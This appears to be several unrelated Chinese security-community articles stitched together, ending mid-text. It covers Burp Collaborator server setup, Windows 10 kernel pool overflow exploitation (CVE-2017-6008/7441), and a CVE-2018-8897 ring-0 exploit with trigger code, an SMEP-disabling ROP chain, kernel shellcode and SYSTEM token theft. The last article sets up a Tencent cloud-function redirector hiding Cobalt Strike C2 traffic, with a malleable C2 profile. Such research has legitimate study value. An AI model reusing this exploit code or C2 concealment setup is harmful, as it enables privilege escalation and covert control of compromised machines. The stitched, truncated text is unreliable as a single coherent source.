2018-04-08 19:46:37.487 : Listening for HTTP on 54.38.**.**:3380
2018-04-08 19:46:37.486 : Listening for SMTP on 54.38.**.**:33587
2018-04-08 19:46:37.600 : Listening for SMTPS on 54.38.**.**:33465
2018-04-08 19:46:37.600 : Listening for HTTPS on 54.38.**.**:39443
2018-04-08 19:46:37.602 : Listening for HTTPS on 54.38.**.**:33443
看到类似上面的内容，说明一切正常，这样就可以开始下一步了！ 为此，只需按CTRL-C就可以了。
**配置DNS**
* * *
转到DNS服务器/cloudflare，并新建两个记录。
1. * NS记录，指向ns1.my-subdomain-for-burp.example.com
2. * A纪录，指向54.38。 **。**
将DNS域委托给VPS
**安装iptables**
* * *
在配置Burp Collaborator时，还记得当时说过要求端口号必须高于1024吗？很好，现在需要将默认端口转发到我们配置的端口上。
为了完成上述转发工作，可以使用如下所示的命令。
iptables -t nat -A PREROUTING -i ens3 -p udp --dport 53 -j REDIRECT --to-port 3353
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 9090 -j REDIRECT --to-port 39090
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 25 -j REDIRECT --to-port 3325
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 80 -j REDIRECT --to-port 3380
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 587 -j REDIRECT --to-port 33587
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 465 -j REDIRECT --to-port 33465
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 9443 -j REDIRECT --to-port 39443
iptables -t nat -A PREROUTING -i ens3 -p tcp --dport 443 -j REDIRECT --to-port 33443
iptables-save
**将Collaborator服务器设置为服务**
* * *
为了在VPS重启或该服务当机时自动启动Collaborator服务器，我们需要创建一个新服务。
为此，需要创建一个名为collaborator.service的文件。
sudo nano /etc/systemd/system/collaborator.service
然后，将下面的内容复制到上面的文件中：
[Unit]
Description=Burp Collaborator Server Daemon
After=network.target
[Service]
Type=simple
User=collaborator
UMask=007
ExecStart=/usr/bin/java -Xms10m -Xmx200m -XX:GCTimeRatio=19 -jar /usr/local/collaborator/burpsuite_pro_1.7.33.jar --collaborator-server --collaborator-config=/usr/local/collaborator/collaborator.config
Restart=on-failure
# Configures the time to wait before service is stopped forcefully.
TimeoutStopSec=300
[Install]
WantedBy=multi-user.target
启用该服务：
systemctl enable collaborator
最后，运行该服务：
systemctl start collaborator
**配置 Burp Suite**
* * *
启动Burp Suite，打开“Project Options” > “Misc” 选项卡，然后配置如下内容：
* Server locattion: my-subdomain-for-burp.example.com
* Polling location (optional): my-subdomain-for-burp.example.com:9443
配置Burp Suite
本文到此结束，希望对读者能够有所帮助！ | 社区文章 |
# 【技术分享】内核池溢出漏洞利用实战之Windows 10篇
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-10/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[an0nym0u5](http://bobao.360.cn/member/contribute?uid=578844650)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
****
本文是内核池溢出漏洞利用实战之Windows 7篇的续集，我们将会在Windows
10系统中实现相同漏洞的利用，这将更加充满挑战因为微软公司自从Windows
8后采取了大量针对内核池攻击的防御措施。本文将更加深入地分析池相关的内容，因此建议读者先阅读第一篇文章以作铺垫。
**1.1Windows 8系统的防护措施**
Windows 8系统在池中采取了一系列安全改善措施，在这里我不作详尽的列举，不过我们可以关注这几点：
**a.真正安全的链接/断开链接**
**b.池索引验证：池索引覆盖攻击早已不是什么难事**
**c.不执行非分页池（No-Execute）：这是一种新式的非分页池，可以说是非分页池的不执行（NX）版，Windows默认使用该类型的池而不是以往的非分页池**
**d.SMEP：管理模式执行保护**
**e.MIN_MAP_ADDR：内存首地址0x1000是保留地址不能被分配，这可以防御空引用类漏洞的攻击，这种防护已经在Windows
7系统和64位的Vista系统中被攻破**
**f. NtQuerySystemInformation()缺陷：该缺陷在低完整性场景下（通常是浏览器沙箱）不再可以被利用**
关于我们利用的配额进程指针覆盖漏洞说明如下：
**a.进程指针目前通过cookie进行了编码：**
1）.进程指针在分配块时进行如下编码：ExpPoolQuotaCookie 异或 ChunkAddress 异或 ProcessPointer
2）.块空闲时进程指针被用作canary并进行如下编码：ExpPoolQuotaCookie 异或 ChunkAddress
**b.进程指针被解码后必须指向内核空间否则会触发异常检测**
如果你想了解详尽的Windows 8关于这方面的缓解措施你可以读一下这篇文章[1]（Windows 8系统堆内部解析），另外该文作者Tarjei
Mandt的另外一篇文章[2]（在windows 7系统中利用内核池漏洞）提到的每一种攻击手法都已经得到了有效缓解。Windows
8系统中确实有通过控制RIP协议来获取数据的漏洞可利用，但是这些漏洞在Windows
10系统中已经通过在_OBJECT_HEADER中设置cookie的方式被修复。所以如果你想实现利用配额进程指针覆盖漏洞这种在Windows
7系统中使用过的攻击手段，我们需要做到：
1）池Cookie（PoolCookie）：用它来正确编码指针
2）溢出块地址：也需要用它来编码指针
3）已知地址内核空间的任意数据：我们不仅要正确编码指针，该指针指向内核空间的同时还要指向我们伪造的一个结构。
让我们来尝试一下吧！
**二、获取溢出块指针**
****
这一部分会很简短，前提是你还记得Windows
7系统下的基本利用方式池喷射技术，好了，是时候放大招了，我们将采用高级池喷射技术，该技术在这篇文章[3]（Windows内核池喷射技术）中有阐述。运用该文中的方法，我们可以预测任何可能的分配行为，当然有了IOCTL的漏洞我们很容易就能知道输入输出管理器分配给系统缓冲区（SystemBuffer）的地址，由于系统缓冲区（SystemBuffer）是溢出的，我们溢出的块在系统缓冲区（SystemBuffer）之后，因此我们可以得到块地址。注意：我之前提过几次，NtQuerySystemInformation漏洞在低完整性场景下不可利用，因此我们不能在低完整性层面拿到这个地址而是至少要在中等完整性层面。
**三、获取已知地址内核空间的一些任意数据**
****
有好几种方式可以实现这个目标，过去很长时间，我都是利用池喷射技术并结合随机IOCTL系统调用来往空闲的内核空间存放数据，但这种方式并不可靠，从那以后我找到了更加可靠的方法。
CreatePrivateNamespace函数用于在分页池中分配一个目录对象，以下是该函数的定义：
HANDLE WINAPI CreatePrivateNamespace(
_In_opt_ LPSECURITY_ATTRIBUTES lpPrivateNamespaceAttributes,
_In_ LPVOID lpBoundaryDescriptor,
_In_ LPCTSTR lpAliasPrefix
);
吸引人眼球的地方：
1）该函数返回一个句柄，这很正常因为这只是一个对象，不过这意味着我们可以在分页池中获取该目录对象的地址。
2）该函数第二个参数是一个边界描述符，它必须唯一，所以你可以利用CreateBoundaryDescriptor函数创建它：
**a.函数定义**
HANDLE WINAPI CreateBoundaryDescriptor(
_In_ LPCTSTR Name,
_In_ ULONG Flags
);
**b.调用函数后赋值给一个变量，我们姑且起个HelloWorld!**
关键点来了：边界描述符名直接存储在分页池中的对象中，因此以下代码
给出了分页池块：
《Hello World!》名存储在对象地址+0x1A8偏移处，看起来对名字没啥限制：
这里块大小变成了之前的两倍大，然而只是用来存储边界描述符名！顺便提一点，既然该对象的大小可控，它就变成了让分页池喷射的强大工具。不管怎样我们已经能够往内核空间存放一些任意数据了，并且还可以利用NtQuerySystemInformation漏洞获取它的地址。
**四、获取池Cookie**
****
气氛好像一下子紧张起来了。ExpPoolQuotaCookie是由驱动产生的一个指针大小的8字节Cookie（64位系统下），它的熵足够安全，我们没有办法猜测或者计算出它的值。乍看上去唯一获取池cookie的方式是发现强大但很少见的任意读取漏洞，于是我研究了ExpPoolQuotaCookie的利用过程。当在进程的配额管理过程中有池块被利用时，池类型（PoolType）会设置配额位(Quota
Bit)，并且有一个位于池头后8个字节（64位系统）的编码过的指针指向它：
但是在分配块时问题来了，块被释放后它看起来变了：
这里Process Billed值只是池Cookie和块地址的异或，这个值用于canary来检测池溢出攻击，因此如果成功读取到Process
Billed值的话没准能得到池Cookie！假想有如下攻击：
1）运用池喷射技术分配一些可控的块，块地址已知并且随时可释放
2）先释放其中一个块
3）然后释放它前面的块
4）在之前的两个块地址处重新分配一个块，这可以通过IOCTL漏洞实现，要确保系统缓冲区（SystemBuffer）在这里已经分配
5）即使有了空闲空间和块的重新分配，前一个池头也不会重写，这意味着池Cookie和块地址的异或值仍然在块数据中
这里可以假想一个返回的数据多于写入数据的IOCTL漏洞：带外读取漏洞，用最小的一次带外读取就可以获取到池Cookie，因此我们从刚开始的任意读取转换成了带外读取来获取池Cookie，这是一种更常见的手段，之所以这么说是因为我在同样的驱动中发现了带外读取漏洞！
**4.1关于CVE-2017-7441**
以下是编号为0x22E1C0的IOCTL漏洞的伪代码：
获取我们的输入后驱动器在系统缓冲区中调用了RtlLookupElementGenericTableAvl函数，如果该函数执行成功的话，它会在系统缓冲区中通过memcpy指令复制返回值，在复制前会检查空间大小，因此这次memcpy不存在问题，不过在计算驱动器写入多少字节时会出错，多返回2个多余的字节。如果想定位到有漏洞的代码，函数RtlLookupElementGenericTableAvl必须执行成功并且至少还要能够控制它返回值的长度，做到这一点的唯一方式是在系统缓冲区中写入当前进程id，RtlLookupElementGenericTableAvl函数运行正常且将路径返回到当前进程的可执行文件。或多或少我可以控制可执行文件的路径长度，Windows下最大路径长度为255字节。为了获取8字节的池Cookie需要用4个不同的可执行文件（路径长度不同）创建4个不同进程来触发4次该漏洞。
**五、结论**
****
至此我们已经完美实现了从Windows 7系统到Windows 10系统的内核池漏洞利用过程，在Windows 10系统下利用池溢出漏洞比在windows
7下只差一个小漏洞的距离。池喷射技术和NtQuerySystemInformation漏洞提供给攻击者太多内核态的信息，使得攻击者发动针对池的攻击依然可靠。你可以在github上找到我利用的[代码](https://github.com/cbayet/Exploit-CVE-2017-6008)。
**六、参考文献**
****
[1] <https://media.blackhat.com/bh-us-12/Briefings/Valasek/BH_US_12_Valasek_Windows_8_Heap_Internals_Slides.pdf>
– Windows 8 Heap internals
[2] <http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf> – Kernel Pool
Exploitation on Windows 7
[3] [http://trackwatch.com/windows-kernel-pool-spraying/
](http://trackwatch.com/windows-kernel-pool-spraying/)– Pool Spraying article
[4][ https://github.com/cbayet/Exploit-CVE-2017-6008](https://github.com/cbayet/Exploit-CVE-2017-6008) – Source code
of the exploit | 社区文章 |
# 使用CVE-2018-8897在ring0层执行任意代码
##### 译文声明
本文是翻译文章，文章来源：https://blog.can.ac/
原文地址：<https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
翻译可能会有部分出错 所以欢迎评论指出 以及一部分翻译和原文并不一一对应 比如文中提到XMM 如果直说XMM总感觉怪怪的 所以我翻译为XMM寄存器
而还原为英文应该是XMM register 诸如此类 另外的 术语context大多数翻译为上下文 我每次读着都觉得怪怪的 所以索性就不翻译了
直接用context
水平有限 见谅
## 正文
前不久 Nick Peterson( @nickeverdox ) 和Nemanja Mulasmajic( @0xNemi )发现一个新的漏洞
该漏洞允许一个非特权用户使用用户模式下的GSBASE去执行#DB异常的处理程序
在网站[triplefault](http://triplefault.io/)上面他们所发布的白皮书当中
他们提到他们可以利用此漏洞去装载和执行未认证的内核代码 这个挑战让我相当感兴趣 这也恰巧是我这篇文章所要尝试去做的
在文章开始之前 我想要说明这个漏洞在虚拟机上面无效(比如说VMWARE) 虚拟机会在int3之后丢弃#DB异常 我主要是通过模拟漏洞的触发情况去执行调试
tips: 最后您可以在文章底部找到完整的源代码
## 0x0: 阐述一下基础理论
该漏洞利用的基本原理比起漏洞利用本身来说 要简单许多:
无论是通过mov指令还是pop指令 当堆栈段发生改变的时候 中断会在执行完堆栈段改变指令的下一条指令之后才会被探测到 这不是程序bug 而是因为intel公司设计的一个特性 这个特性允许堆栈段和堆栈指针可以同时被设置
然而 一些OS(操作系统—译者注)厂商忽视了这个细节 从而使我们可以伪造一个来自CPL0的#DB异常
我们可以通过设置调试寄存器来伪造一个deffered-to-CPL0(延期到CPL0的异常):
在堆栈段改变的指令处抛出一个#DB异常 该指令后面紧接着一条int3指令 int3指令之后会进入到KiBreakPointTrap函数中
然后在KiBreakPointTrap函数的第一条指令执行之前 #DB异常会被抛出
erverdox和0xNemi的白皮书当中 他们指出这个缺陷可以使他们使用用户模式下的GSBASE 调试寄存器 以及XMM寄存器去执行内核当中的异常处理程序
以上所讲述的可以通过以下代码来实现:
#include <Windows.h>
#include <iostream>
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64_End
push 0x33
push X64_Start
retf
X64_Start:
__emit 0xf3 ; wrgsbase eax
__emit 0x0f
__emit 0xae
__emit 0xd8
retf
X64_End:
; Vulnerability
mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
}
由于我想把ASM代码和C代码展示到一起 所以上面的示例代码是32位的(Microsoft visual c++ 当中 X64不能内联汇编 — 译者注 )
而最终执行的代码应该是64位的
好了 让我们开始调试我们的调试之旅 伴随着我们自己定义的GSBASE 我们首先会进入到KiDebugTrapOrFault函数当中
这没啥用而且是具有灾难性的
因为这将造成几乎没有函数可以正常工作而且我们会陷入到KiDebugTrapOfFault->KiPageFault->KiPageFault的死循环当中
而如果我们可以构造一个完美的GSBASE 我们最终可以得到一个KMODE_EXECPTION_NOT_HANDLED的蓝屏死机(BSOD)页面 所以
让我们致力于伪造一个和真的相似的GSBASE 尝试着最终能够进入到KeBugCheckEx函数当中
我们可以利用一个精巧的IDA脚本去迅速的获取有关信息
#include <idc.idc>
static main()
{
Message( "--- Step Till Next GS ---n" );
while( 1 )
{
auto Disasm = GetDisasmEx( GetEventEa(), 1 );
if ( strstr( Disasm, "gs:" ) >= Disasm )
break;
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
}
}
## 修复KPCR结构体
我们必须去修改GSBASE的几处内容 从而使我们可以顺利通过
#### KiDebugTrapOrFault
KiDebugTrapOrFault:
...
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h
为了成功通过上面的指令 Prc.Pcrb.MxCsr需要一个有效的标志位 否则会引发一个#GP异常 所以 让我们给他一个初值 0x1F80
#### KiExceptionDispatch
KiDebugTrapOrFault:
...
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h
Pcr.Prcb.CurrentThread会被保留在gs:188h处 让我们分配一块内存 然后在gs:188h处引用它
#### KiDispatchException
KiDispatchException:
...
MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h]
此处指向的是Pcr.Prcb.CurrentThread.ApcStateFill.Process 所以 让我们再次分配一块内存 并且使该指针指向它
KeCopyLastBranchInformation:
...
MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h]
GSBASE的的0x20处的是Pcr.CurrentPrcb 它仅仅是Pcr+0x180处的值
所以让我们将Pcr.CurrentPrcb设置为Pcr+0x180 同时将Pcr.Self的值设置为&Pcr(这一部分比较绕口 建议windbg下输入 dt
nt! _ KPCR 进行验证查看)
#### RtlDispatchException
关于这一部分 我想阐述的更加详细一点 RtlDispatchException函数会去调用RtlpGetStackLimits函数 如果调用失败了
会去执行KeQueryCurrentStackInformaion函数 这个地方有一个问题 该函数会用当前的RSP值和Pcr.Prcb.RspBase
Pcr.Prcb.CurrentThread->InitialStack, Pcr.Prcb.IsrStack的值做比较 如果他们不相等
那么函数会返回一个失败的值 显然我们在用户模式下我们无法知道内核中栈的值 所以 我们该怎么做呢
刚好这一块有一个奇怪的检测:
char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
...
if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
}
多亏了这个检测 我们可以确信如果KThread.InitialStack(Kthread+0x28) 与
Pcr.Prcb.RspBase(gs:1A8h)不是等值的 KeQueryCurrentStackInformation就会返回成功
并且将xFFFF800000000000-0xFFFFFFFFFFFFFFF作为提交的的堆栈范围 让我们设置Pcr.Prcb.RsapBase为1
然后让我们设置Pcr.Pcrb.CurrentThread->InitialStack为0 最终问题就可以得到解决
RtlDispatchException函数会在上述改变之后失效
最终会在不做错误检测(BugChecking)的情况下返回到KiDispatchException函数当中
#### KebugCheckEx
我们最终抵达KebugCheckEx函数 这一块也是我们最后需要去修复的地方
MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
MEMORY:FFFFF8018C1FB95A call RtlCaptureContext
Pcr.CurrentPrcb->Context的值就是KebugCheck保存的调用者的Context的值 基于某些奇怪的原因
他是一个PCONTEXT而非CONTEXT 我们并不关心其他的Pcr的值 所以让我们将他设置Pcr+0x3000 这样做的目的只是为了让他指向一个有效的指针
## 0x2 在何处进行怎样的读写
最后 我们得到了属于胜利的蓝色屏幕
好了 现在一切如我们所预期 我们如何利用它呢
单步执行KeBugCheckEx函数之后的代码实在是太复杂了 很有可能相当无趣 所以这次让我们省去错误检测(bugcheck)
我写了一个IDA的脚本去记录我们感兴趣的点(例如gs: jmp/call register 和 jmp/call [register+x])
直到抵达KeBugCheckEx函数的时候停止记录
#include <idc.idc>
static main()
{
Message( "--- Logging Points of Interest ---n" );
while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );
if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %sn", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
}
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
if( IP == ... )
break;
}
}
让我失望的是 并没有找到方便跳转的地方 代码的整体输出如下:
- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h
这意味这我们需要寻找一种方式去写入内核模式下的内存并且滥用它 RtlCaptureContext函数在这个地方会帮我们的大忙 如我先前所说
它从Pcr.CurrentPrcb->Context获取一个CONTEXT指针 奇异的是一个PCONTEXT Context而不是CONTEXT
Context 意味着我们可以将任意的内核地址提供给它 并将其写入上下文
起初的时候我尝试使用”g_CiOptions”的方法 然后在其他的线程当中使用NtLoadDriver函数 但是这个想法失败了(也就是说
这显然使[@0xNemi](https://github.com/0xNemi
"@0xNemi")和[@neckeverdox](https://github.com/neckeverdox
"@neckeverdox")使用的方法并且产生了效果 我想我们可以在Blackhat 2018的会议当中揭晓他们使用的黑魔法) 失败的理由很简单
当前的线程处于无限循环当中 而另外一个线程由于当前线程正在使用IPI 所以导致了死锁
NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock
在“g_CiOptions”的方法上进行了1-2天的尝试之后 我想到了一个更好的主意: 覆盖RtlCaptureContext的返回值
在无法访问RSP的情况下 我们如何去覆盖返回地址呢 如果我们可以更具创造力一点 其实我们是可以访问RSp的
我们可以使Prcb.Context的值指向一块用户模式下的内存 然后在第二个线程当中轮询(Polling)Context.RSP的值 从而获取当前的RSP值
令人忧伤的事 这并没有什么用 因为我们的执行已经过了RtlCaptureContext(我们写入的是我们利用的地方)
然而 如果我们可以在执行完RtlCaptureContext之后回到KiDebugTrapFault函数 并且以某种方式去预测RSP的下一个值
这就具有相当的利用价值了 我们要做的也就是这件事
为了能够再次返回到KiDebugTrapOrFault函数 我们将使用我们亲爱的调试寄存器 在RtlCaptureContext返回之后
会调用一次KiSaveProcessControlState函数
.text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax
我们将DR1的值设置成gs:0x20 + 0x100 + 0xA0
然后使KeBugCheckEx函数在保存完CR4的值后返回到KiDebugTrapFault函数
为了覆盖返回地址的指针 我们需要使KiDebugTrapOrFault->…->RtlCaptureContext程序流先执行一次
然后将初始的RSP值返回给我们处在用户模式下的线程 然后我们让它再次执行得到一个新的RSP的值 这样将使我们可以计算出每次执行的RSP的差值 RSP
delta应该是一个固定的值 因为程序的控制流也是恒定的
现在我们已经知晓了我们的RSP delta了 我们可以预测下一个RSP的值 然后减去8就是指向RtlCaptrueContext函数的返回地址的指针
之后再利用Prcb.Context->Xmm13-Prcb.Context->XMM15的值去覆盖它
该线程的逻辑如下所示:
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
现在我们只需要设置一个ROP链 并且将它写入到XMM13-XMM15寄存器当中 由于我们为了满足movaps指令的对齐要求而实现的mask
我们无法预测XMM15寄存器的哪一半会被命中 所以最初的两个指针应该指向一条retn指令
我们需要装载一个寄存器 并用其值去设置CR4寄存器的值 所以XMM14寄存器存放POP RCX;RETN指令
后面紧接着一个禁用SMEP之后的有效的CR4的值 对于XMM13寄存器 我们简单的使用mov cr4,rcx;retn小组件
后面紧接着shellcode的地址
最终的ROP链与以下相似:
-- &retn; (fffff80372e9502d)
-- &retn; (fffff80372e9502d)
-- &pop rcx; retn; (fffff80372ed9122)
-- cr4_nosmep (00000000000506f8)
-- &mov cr4, rcx; retn; (fffff803730045c7)
-- &KernelShellcode (00007ff613fb1010)
在我们的shellcode当中 我们需要恢复CR4寄存器的值 执行swapgs指令 返回到ISR堆栈 执行我们需要的代码 并且能返回到用户模式
我们可以像下面这样做:
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 -- fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------ ....
// ------ KERNEL CODE ------ __swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}
我们无法恢复任何的寄存器 所以我们让负责执行漏洞利用的代码将context存放到一个全局容器中 然后利用它去恢复寄存器的值 现在让我们执行我们的代码
然后返回到用户模式下 我们的exploit就此顺利完成!
最后让我们编写一个小小的demo程序去偷取系统令牌吧
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );
以上理论知识的完整代码实现可以在此处找到: <https://github.com/can1357/CVE-2018-8897>
P.S: 如果你想要尝试利用这个漏洞 请卸载相关的补丁
P.P.S:如果你问我为什么不使用内联函数去读写GSBASE 因为MSVC(此处应该是指: Microsoft Visual C++ —
译者注)会生成无效的代码 | 社区文章 |
## * 启动云函数
* 在腾讯云控制台搜索云函数，在函数服务->函数管理进行新建->自定义
// **坑点一：** 要根据cs监听类型http/https在脚本内填入c2服务器地址
# -*- coding: utf8 -*- import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
* 部署完代码后新建触发器，更改下述两个选项即可
* 进入触发器api配置，更改路径为/，配置完直接发布api
// 这个时候可以访问下api地址，然后在函数服务的日志查询看一下有没有日志，如果有日志的话云函数配置就ok了
## * 配置CS profile
* 使用keytool生成证书文件，记住证书密码，后面要在profile配置
keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
* profile 模板， **这儿有个坑，我用的是cs4.3 需要整一下花括号位置，花括号要另起一行，不然会报错找不到括号**
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate
{
set keystore "cobaltStrike.store"; //证书名
set password "Mm0000.."; //密码
## Option 3) Cobalt Strike Self-Signed Certificate
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get
{
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager
{
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server
{
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
